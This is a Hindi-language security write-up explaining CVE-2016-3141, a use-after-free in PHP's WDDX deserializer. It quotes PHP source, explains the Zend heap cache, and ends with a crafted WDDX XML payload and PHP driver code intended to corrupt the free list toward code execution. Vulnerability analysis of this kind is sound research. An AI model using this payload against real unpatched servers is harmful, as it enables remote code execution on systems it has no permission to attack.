
CVE-2016-3141
PHP के WDDX एक्सटेंशन में wddx.c में उपयोग-के-बाद-मुक्त (Use-after-free) भेद्यता, PHP 5.5.33 से पहले और 5.6.x में 5.6.19 से पहले, दूरस्थ हमलावरों को XML डेटा जिसमें एक क्राफ्टेड var तत्व होता है, पर wddx_deserialize कॉल को ट्रिगर करके सेवा अस्वीकार (मेमोरी भ्रष्टाचार और एप्लिकेशन क्रैश) या संभवतः अन्य अज्ञात प्रभाव पैदा करने की अनुमति देती है।
यह एक उपयोग-के-बाद-मुक्त बग है, जो तब होता है जब wddx XML डेटा को प्रोसेस करने का प्रयास करता है। फंक्शन php_wddx_deserialize_ex में इस कोड को देखें। जब wddx_deserialize($xml) कुछ XML डेटा होता है, तो php इस फंक्शन को कॉल करेगा और फिर xml टैग और डेटा को संभालने के लिए कुछ फंक्शन सेट करेगा।
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
फंक्शन php_wddx_push_element एक टैग के लिए एक एंट्री बनाता है जैसा कि आप इस स्निपेट में देख सकते हैं। उदाहरण के लिए जब आप इनपुट करते हैं
<string>Hello World</string> यदि वे ओपन टैग पर हिट करते हैं तो php_wddx_push_element को कॉल करेंगे जो एक st_entry टैग बनाएगा जो एक टैग की जानकारी संग्रहीत करता है, नीचे कुछ स्निपेट कोड देखें।
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME एक प्रक्रिया है जो नीचे परिभाषित है। यह प्रक्रिया सरल है: यह एक टैग के stack->varname की जाँच करता है यदि यह NULL नहीं है तो यह इस stack->varname को क्लोन करेगा और फिर इसे मुक्त करेगा।
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
बग php_wddx_pop_element में हुआ है। जब xml var टैग के क्लोज़िंग टैग को संसाधित करता है, तो यह इस टैग के varname को मुक्त करेगा, और यह मुक्त किया गया पॉइंटर अभी भी stack->varname में संग्रहीत रहता है। उदाहरण के लिए, यदि आप एक var बनाते हैं जैसे <var name='UAF'></var>, php_wddx_push_element एक struct बनाएगा जो इस var टैग को संग्रहीत करता है, फिर जब आप इस टैग को बंद करते हैं तो यह इसे मुक्त करता है लेकिन इस stack->name = NULL को सेट करना या stack->top को घटाना भूल जाता है, उसके बाद यदि आप कोई अन्य टैग जैसे <string> बनाते हैं तो फंक्शन SET_STACK_VARNAME इस मुक्त किए गए पॉइंटर का पुन: उपयोग करेगा।
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
जब मैंने पहली बार इस बग को देखा, तो मैंने सोचा "क्या मैं इस बग को कोड निष्पादन में नहीं बदल सकता?" पहले, मुझे समझना होगा कि zend हीप कैसे कार्यान्वित होता है, आइए नीचे zend_alloc.c में फंक्शन _zend_mm_alloc_int देखें।
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
यदि हम छोटे आकार (256 बाइट्स से कम) का चंक malloc करते हैं तो zend_alloc heap->cache का उपयोग करेगा, जो एक मुक्त चंक सूची है जो कई छोटे मुक्त चंक लिंक्ड लिस्ट को संग्रहीत करती है, यह heap->cache malloc के fast_bin जैसा है। यदि किसी तरह हम best_fit->prev_free_block पॉइंटर को अपने स्वयं के पते से अधिलेखित कर सकते हैं तो zend_alloc फिर से और हम उस पते का उपयोग करके मेमोरी में कहीं भी लिख सकते हैं।
ऐसा करने के लिए, मैं नीचे wddx xml बनाऊंगा:
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}

आप मेरा पूरा एक्सप्लॉइट यहां देख सकते हैं peter_code_execute.php (Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 पर परीक्षण किया गया)।
अंत में, मैंने इस बग को सफलतापूर्वक कोड निष्पादन में बदल दिया।
